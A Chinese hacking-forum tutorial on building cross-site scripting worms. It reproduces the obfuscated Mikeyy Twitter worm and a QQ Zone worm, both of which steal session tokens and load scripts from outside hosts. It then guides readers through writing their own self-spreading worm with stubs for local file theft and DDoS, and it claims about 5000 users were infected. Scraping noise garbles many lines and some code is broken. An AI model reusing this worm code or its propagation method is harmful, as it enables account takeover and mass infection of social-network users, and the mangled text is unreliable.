! n1 u) n+ O1 Q& S第一版:
- T( o: x. e; v' r3 p& m3 Q  下载 (5.1 KB)

# P1 o8 L2 a  i& m0 G, h* }6 l4 |7 W6 a! h6 天前 08:27

5 R+ a; Y' B$ g' n  ?9 D7 d5 _第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

* H3 C3 R. f- q- k$ {   2.   
1 Z) j* h" J7 f- ^2 l" B8 X  v0 r
   3. function XHConn(){  
- S& u  L- f+ C. S) \
3 |& t+ c' h* D2 X  l% P! M   4.   var _0x6687x2,_0x6687x3=false;  

4 B( ]7 }( z8 Y5 B) ^/ A' u   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
# {# Z3 R; ?, `' y$ U: i* A2 Y+ x
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

5 z% `6 t5 `' `! w. D! V   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
8 c  w% y5 u; ^$ @/ S
   2.   var content = document.documentElement.innerHTML;  
3 G0 q  J% ?8 P$ a
: s: w/ Z. i, N& G, ^" s( `   3.   var tmp_cookie=document.cookie;  
( u) x. f7 E' S
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
1 Q' w+ I( F, i' t) [* k4 n
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

# K$ a& Y/ j* x2 ]2 W' g) i   6.   var authtoken=authreg.exec(content);  
9 o' S# h5 B0 h1 j
   7.   var authtoken=authtoken[1];  
! ~7 Z# k. m/ ]- w/ b) p0 {
, {" r8 a1 R0 q) z1 \& U, r   8.   var randomUpdate= new Array();  
5 m; j, N+ e! V4 c" ^) V! d" j
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ F/ F: Y! n7 Y. f7 e
7 S1 j4 A, Q5 G4 X& g  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

4 f2 j& O2 l( k" `. d4 h  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
" I# T1 x% P( O
, n( Q7 `. T/ F- g% {  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
& n, P% I% ~1 c. y9 Y/ N9 ~
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
  Y9 K. i% ?  E' k& m# w2 Y
3 z9 L; r/ x6 {4 E# E- }8 ^9 g  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
5 I! y! G) t; ?
: `$ r8 L0 n% Q, I" u/ _! R  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
6 A# |; g! I1 E9 @/ r8 a. o) w/ E& I
# q. U4 M% A5 d5 `0 k  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
% |- y( i) S8 k+ B! Y8 J" W
9 H3 M. Y7 o: y) H  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
& S/ D0 ]3 g4 v- N# `2 T
  h- ^% |9 R! Y; c) F2 {  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
- s2 Q2 z4 N* Y1 ?. C% L
3 p6 ?7 v- E3 G( x  24.     

4 S, K: w7 u  \5 y. Z5 b  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
0 ?6 f% `4 L9 R- Y, ]; j
  27.     
/ A( I+ ^) Z; G( Y/ }$ I( H
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

1 w: t1 S& Z, Z  x9 {$ t" G  30.   var _0xf81bx1c="Mikeyy";  
% M8 H# f& _, t. P* u
  31.   var updateEncode=urlencode(_0xf81bx1c);  
" k. K4 W. L7 s, ?& u' _' I; Y
  32.   var ajaxConn1= new XHConn();  
6 Q5 w2 f& k- _0 n/ @3 [8 B$ Q! Z
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
9 ~6 p9 e- J6 ~) M# o
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

, U3 K  y! A2 {" u* e8 K  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
4 x6 K+ Y7 h1 G% x' w7 p
  38.     
2 p0 f( [! `8 s: f- n' q
( T1 a" o8 g! y0 j  39. } ;  
2 H8 A+ S! @* o) f5 _
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
- l3 {' G! x' h/ j
! K; P/ A) Y& Ywindow.onerror=killErrors;
2 K; @# z/ T7 K; s* s
5 v4 P, `% N" G. z  d$ h; C& }
9 H6 ]6 l9 ~+ ^( n9 y+ L  O. {3 o( F
var shendu;shendu=4;
3 p& i- C+ l- _% n! d2 `
6 a9 F" g% I  O3 E! w5 I//---------------global---v------------------------------------------

1 ]; j, b0 S- n/ y: D, G& k//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

4 x; O; F  S& B9 B' B( Dvar myblogurl=new Array();var myblogid=new Array();
8 ?* _( P% d2 @3 m6 E8 W" Q% ~
5 ^" E0 C8 a( Q/ d2 N        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
1 J5 P0 t% g- @* T+ }& e5 d
        gurl=gurl.substring(0,gurle+3);        
% k& y6 E  F( b
. ~4 c, U6 r7 v. N3 x; q5 \        var visitorID=top.document.documentElement.outerHTML;

2 l; ]5 p- J( ^# Z3 n4 r+ o# W           var cookieS=visitorID.indexOf("g_iLoginUin = ");

  ^7 S+ B0 d+ H        visitorID=visitorID.substring(cookieS+14);

; l$ W( P. o- \        cookieS=visitorID.indexOf(",");

  V# x. H& K, C$ X% m        visitorID=visitorID.substring(0,cookieS);

3 f6 x& r3 a6 E* c4 Z& [& B        get_my_blog(visitorID);
4 k& L* x: E6 O: h% c
        DOshuamy();
# Y7 D; B$ F9 E, o: a3 t
: o( ]. R, u! x0 e" F* O
0 z! ~4 A$ E) ]& ?( [% E& [
//挂马
. a9 H- K3 [  O+ [/ m8 D& R
function DOshuamy(){
9 A8 H4 l) P& n/ f, Z9 }
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
* m* `1 B4 v& }, X8 e( W1 h
$ a& A- c5 j, q- o* O}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

5 h7 i& U" X3 D) n$ c& E1 X7 yfunction get_my_blog(visitorID){
9 i9 p7 V' T2 T
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
7 g8 y0 C- \; B$ I5 f
3 F. A. P8 ^; d2 Q   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
/ j; k4 W  {! k& n6 w0 X- B9 s+ q+ f
& t9 D% t8 S2 ?1 ]   if(xhr){    //成功就执行下面的
# i9 s5 G0 F( O
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

+ t% l( a1 y+ B/ U     get_my_blogurl(guest);    //执行这个函数
! ], C2 e( q. \5 D3 P: d1 F
& |6 Z, N' p/ [0 _, I    }

4 o8 b% V- ^! P6 L- d}

0 O0 I& B$ o( C; C& |: c/ X8 ^# f  Q! S

; l9 |# h5 f  |//这里似乎是判断没有登录的
. [3 A& z9 ?+ p
function get_my_blogurl(guest){
' c1 G. N0 _4 L5 b8 Z
, b) R- ]. @9 L% N; J* t  var mybloglist=guest;

  q. ?) N8 g  |  var myurls;var blogids;var blogide;
( G! J6 G  z# i; V3 K, q
4 O3 ?( u- N) i/ b  for(i=0;i<shendu;i++){
" K$ l- m( `6 P$ u- s: K
9 p; j" B, B; w% f& L     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

" w3 T8 C7 t: C( z( g# [' E! g% e" a         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
; z8 ~0 |; `% U4 W1 q! `( T5 x
/ n) Z2 R! t: @  A- a- n5 a        }else{break;}
( {3 f- e9 c9 g  _8 y$ ]. I( S. j
}
/ u9 X" g1 J6 r
& ~/ D2 F' _2 s7 a, w) j! [get_my_testself();    //执行这个函数

}
& p% _8 F; W) E# M
' D6 H' G2 k. U5 |" T9 E/ j

//这里往哪跳就不知道了
. O  F: Z& k1 ^6 h  C
- f( ^+ D; U! C9 O* m7 u! Rfunction get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
3 N  ?4 H- u! ^/ G6 \2 a" O
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

/ N% P! Z) ]: e      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

  H, V' B; N7 i; {9 o7 `' N      if(xhr2){        //如果成功
5 C" a! {! C0 B2 K! d, u/ N, q
2 J+ }# f7 b2 K1 g) t              xhr2.open("GET",url,false);     //打开上面的那个url
5 y5 n8 \! \6 O1 r* h: Y' V
4 k3 x6 @/ M4 ]& F  y9 ?9 L3 w              xhr2.send();
' V& I. T$ ?7 D% ^4 |5 K3 j* M6 k
              guest2=xhr2.responseText;
* q- r' G" W* x1 }0 v
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
8 u; X- E0 y! v4 X
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
  P  M2 P0 _* {2 P2 t# x
/ ?9 H# D1 Q$ ^0 C6 f3 M0 y' x9 ?              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( z  ^6 Z" t4 l! {! p% V: _+ {$ `
                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

9 m# n: o! s  L  O                break;

               }
- z& ^& U2 u  _: C% ?2 b( n2 ~
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
: Y1 B/ [5 P; j$ K4 ~) ~6 M
% c6 S$ H* Z/ c                break;
: M& F: {; w7 D. ]% z& Q
' b8 w- Z7 ~& E7 A6 |               }

9 p2 q) E6 o0 r% Y$ k        }      
( ^" v8 ~: L* Y& u+ L$ `" L0 N9 ^
}
' g# V* m2 H1 l7 v: F& n
+ p( q5 \) o2 k1 }1 v  @}

) {. ^9 d) [. F# ?7 U, x
2 `- R- B5 i, m* g! f
% _0 ]$ ?; T8 @( b% k8 ^! S$ k) M//--------------------------------------  
4 a- u1 Q1 Q, s, }+ ]9 j, j) _; \
//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

    var XMLhttpObject=null;  

$ j  H9 ~/ S" y# h* w* K    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

4 O- }* k" \" o  c. A  B    else  
- z. H- ?$ l- e! ~1 z& h
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
/ s& k8 J1 ]+ l2 e1 C# d* A
        for(var i=0;i<MSXML.length;i++)  

        {  
+ b9 w3 n) X" [+ s
            try  

- z3 S2 Q+ e/ V2 |5 D! z% |( {: B            {  
( u2 z4 `" N4 p  F8 O0 {: ~8 t
                XMLhttpObject=new ActiveXObject(MSXML);  
9 v) A) Z& r' D
, n% K& I1 F" G' u5 Q                break;  

            }  
3 J2 h7 m4 `6 z8 e4 @* S+ j+ W
            catch (ex) {  

+ Q' p, S6 l% J6 y4 Y$ J! e            }  
) a2 [  S6 R5 e2 b2 Y
( ?9 v* @& z" f) ?% N( I         }  

      }

return XMLhttpObject;

) ~; O7 e1 O( D}  
5 Q  m( Q& k; ^: Z8 @
6 g: G4 q. K% E  {$ t+ ?4 L5 D% `
2 p% V% X, B  u: d% z
//这里就是感染部分了
6 F0 \0 _) D0 C/ o% u6 b% o
3 j1 ^* x( H# G8 Rfunction add_js(visitorID,targetblogurlid,gurl){
- ?5 N0 E4 ~; K) c
" N2 X# l" u7 j( }var s2=document.createElement('script');
2 N' o  r" m! f2 q
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

  z& ?+ m2 w- @5 U. X  u% Os2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

" D) |# F* g7 \}


7 Y' r( \0 x" t& t; j; k
function add_jsdel(visitorID,targetblogurlid,gurl){
  l) R7 N2 {7 z
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
  s' m( U4 Q8 T
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}
& Z: J) K8 i$ i2 ^7 D* W2 y" _/ C复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

3 q3 G4 K# r" I2 ~3 N2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

, _  B7 k! \4 c. T- L
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
9 V" [; Y/ j' p$ [$ l" @2 \
2 b8 I# K$ u7 H3 s& j" o首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
, q# u, u: e: j
8 _6 E- k6 T$ L0 \. P* p+ lrequest = new XMLHttpRequest();
  J- p# Q) `2 K: d7 g% O" n
& o4 j' m0 x3 [if(request.overrideMimeType) {
9 D2 y3 i! _4 U2 R$ B9 J8 c$ u
: N5 H% ?! y6 yrequest.overrideMimeType('text/xml');
# S5 P/ {1 q" d# a* O
# f' E% R' d' ?# g}

/ ]% X9 z' E8 j% l( g/ C2 H- b} else if(window.ActiveXObject) {

9 }* ?5 t( I6 G' M. S1 gvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( f# [2 o) Z# p8 o( l1 S! ~
( a5 S" z  l' w' L& Zfor(var i=0; i<versions.length; i++) {

try {
  {% ?/ u; e! K+ a3 C! D  K9 m( t
8 x' H& M  s! f5 B) X8 Drequest = new ActiveXObject(versions);
$ z& j, ]7 c1 Z! o2 U
& W$ J9 ^5 A* |- E0 w1 |} catch(e) {}

; O9 t9 O5 A* m  @}
; i5 ]+ `8 y# @
}
6 ]% b& H7 R. N
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
$ w; e  q: Y9 B; K# b- |
        var Browser_Name=navigator.appName;
( W& T- N% Q4 T
9 r- `# W( {. P3 J0 ~        var Browser_Version=parseFloat(navigator.appVersion);
/ _  d1 Q% N/ X( A5 T* S5 B: h8 L" K
        var Browser_Agent=navigator.userAgent;
4 P+ @4 v. H# l) u9 S5 H0 B
" B; {5 C: d" J5 q) Y. s        

        var Actual_Version,Actual_Name;

2 d* h; U& G8 U1 W5 w! D        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

; X* o4 n$ s" |5 s% Q4 B; ?        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        

        if(is_NN){
6 B8 k# U# F6 X  T
            if(Browser_Version>=5.0){
3 j3 R$ K6 J4 G/ j) Q
/ S' u! [- y8 d7 c: F                var Split_Sign=Browser_Agent.lastIndexOf("/");
, @+ Y& V. i  |1 U
% [; k! C/ {: O* F. _# m8 M3 g                var Version=Browser_Agent.indexOf(" ",Split_Sign);
1 L# Y$ U3 H2 \+ r0 ]1 {. C# H
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



" v; h+ ?% B8 G  i7 `) x7 j                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

- b* R3 M& m1 u/ A$ T' J7 Z7 w                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
! R+ Q! |6 a  [7 `* @: L0 E: G4 B% l
/ o$ [6 l- H8 k            else{
+ n- ^( D( b8 Q1 _3 e' e
                Actual_Version=Browser_Version;

7 u% d5 i! ~) E% v                Actual_Name=Browser_Name;

            }
% @& l; ^/ e7 a" K; R1 P" C0 l
        }

        else if(is_IE){
1 O& ]8 ~7 y/ `9 w3 l1 {! f8 }
7 K" Z5 ?7 @# J/ c; d0 f6 ^            var Version_Start=Browser_Agent.indexOf("MSIE");
( {) Q! [& s3 K/ |% u* [
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

0 s1 M' E  j% P( R2 o( c, _4 R            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
  [# _5 V. N9 U: T6 K! t
& C( q4 j8 l# h4 W# E0 Z& |8 M* e# F            if(Browser_Agent.indexOf("Maxthon")!=-1){

! L  `1 c( p8 p7 |+ S                Actual_Name+="(Maxthon)";
% t2 ]- H: r- A* w0 [
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
  @9 J5 o: _" F- Q. Q) v; Y
5 \; t- V- S! q3 k9 r+ k                var tempstart=Browser_Agent.indexOf("Opera");
/ f: f5 I6 y0 t) q% ~
2 Z0 f' R* J1 L/ {6 `, Z                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

0 y1 U) `7 [# D' v& D            }

) F% p+ x, S' q& V$ t: m        }

        else if(is_Ch){

( p3 M) C" L) I" D# T( i            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ b0 @& g- i3 `/ \
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
; t0 t# k' i! F7 `9 i
            
, n( H/ o9 a& W! n1 E
9 p: d* {4 j/ Y  N' g" G            if(Browser_Agent.indexOf("Maxthon")!=-1){
) M9 M8 R- f( x  N+ ~1 z
                Actual_Name+="(Maxthon)";

. \. u9 n" m+ `: _            }

. C$ O7 @% E$ L, @$ A( |6 e            else if(Browser_Agent.indexOf("Opera")!=-1){

, X# G, R7 Q# L# I                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

4 f% y% a/ G( m, B6 @& ]) e                var tempend=Browser_Agent.length;

$ K- T1 t- E; g2 u0 r' b# E                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

! V" `* ^, l* B1 u5 {            }

' x* R0 _+ v+ N; f  V0 x7 B        }
2 N, ^% P: n5 h& {
& K+ C6 Y+ V# X8 E) G  r        else{

            Actual_Name="Unknown Navigator"
& e& E, [& h2 P! Y' A
+ Z1 q9 u1 C# W! u5 j8 n            Actual_Version="Unknown Version"
1 |9 W* l, l/ s! l6 G& j
        }
1 L6 L( F1 k- [/ Q1 M

& v5 k# y7 l/ d# q! [3 d7 n
& G" w0 F! Q! t5 d* S# |        navigator.Actual_Name=Actual_Name;
4 r# U( @3 }& K( O
# @. Y1 K& h' `/ a! b+ n- w( p        navigator.Actual_Version=Actual_Version;
  C* B% T5 T5 r4 ?) u( C, W" V
        

. I% X, b9 r0 L% X' m3 [' I        this.Name=Actual_Name;
  e+ x2 P/ \) k4 k
% Q4 E6 \7 K7 L        this.Version=Actual_Version;

: R; a; }# d8 l$ ~2 `$ S- t    }
9 t6 I7 }- K0 t, r, g4 T3 P
  e- \2 k5 [8 k    browserinfo();
/ b. E/ j) U+ g0 B, i* D
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 |$ D, `0 O# U3 f! n6 u
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
  k! H1 c+ d1 r0 X5 C! S复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
- k$ c9 H$ O+ R) S1 Q1 K, r6 z复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

& }; ^  d/ W4 b; H, VxmlHttpReq.send(null);
- \$ b) Y, j. r7 J: C6 z- l* T
0 M! ]" F5 x! L' F+ z( Rvar resource = xmlHttpReq.responseText;
6 }- I3 Q& P( n, W  w4 m
var id=0;var result;
1 P# M# B% t8 V/ f
5 j  C" }" m  `& F. X& ~var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

& y5 L3 A& c5 J9 w- J0 Iwhile ((result = patt.exec(resource)) != null)  {

" }! D! \4 p! J+ zid++;
4 _5 x: W: c3 ^
- V+ x8 E/ ^* `- D}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
# s! G( n( o( A) @
0 W/ j  |4 u( A# R1 N% Nno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
( V7 W! @( {0 X. p
var post="wd="+wd;
. H: z% N+ \2 B5 n/ ^* n
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
& D: K" t3 R/ g( w1 e
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! Y: q0 K; p1 X. F: i' i* n4 N
9 m  F3 H5 }5 ~$ j  z% k4 J( ]xmlHttpReq.setRequestHeader("content-length",post.length);
3 }- H* g# [8 ?. x( v# I
' x/ ~* n; C7 bxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
) E& |3 I  q. k( w
" @+ ^1 Y6 v3 ?$ P1 i5 l& r4 t: ^}
% F) t, Y) K( \7 o复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
; p+ }( |. g! j$ E2 z/ A5 y( N
- O7 x8 v- O2 h4 F4 Gvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

# ?1 }+ _0 j  ^var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
/ D. O& \3 e. c3 h1 @: o
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

% j+ r9 H/ d+ R+ ^xmlHttpReq.setRequestHeader("content-length",post.length);
3 t" n$ @7 W) O! A
9 a. d' ~7 o9 Q2 k/ w- xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
; E6 [  L) _5 ~$ @+ ]
/ {) w' e% Z0 h8 P' ~xmlHttpReq.send(post);                 //把传播的信息 POST出去.
, h# j8 u/ X% Y  J! t
}
9 b6 O& i  L; I, _# P复制代码-----------------------------------------------------总结-------------------------------------------------------------------


1 A. z: @% `; S" g! ?7 @
, V: y0 r2 X/ J) t& |本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 @" C8 O6 x3 I! o  p! e& _蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


; I- e! _# L+ {2 d+ {
1 ^, x! {9 \; w8 W7 g8 d7 s

0 J# h6 `/ C; w7 c/ p


, _) i; O* o0 u( B本文引用文档资料:
; ?. c' Q& ]2 D$ W
4 w9 M  k4 X3 C) H/ @& {"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
& m4 Z& g( u; u6 f' \; KOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
+ R8 R6 r, t; U- U2 r8 T+ m0 E, nhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
" \+ |! B; _4 p" ^3 R4 CXeye Team http://xeye.us/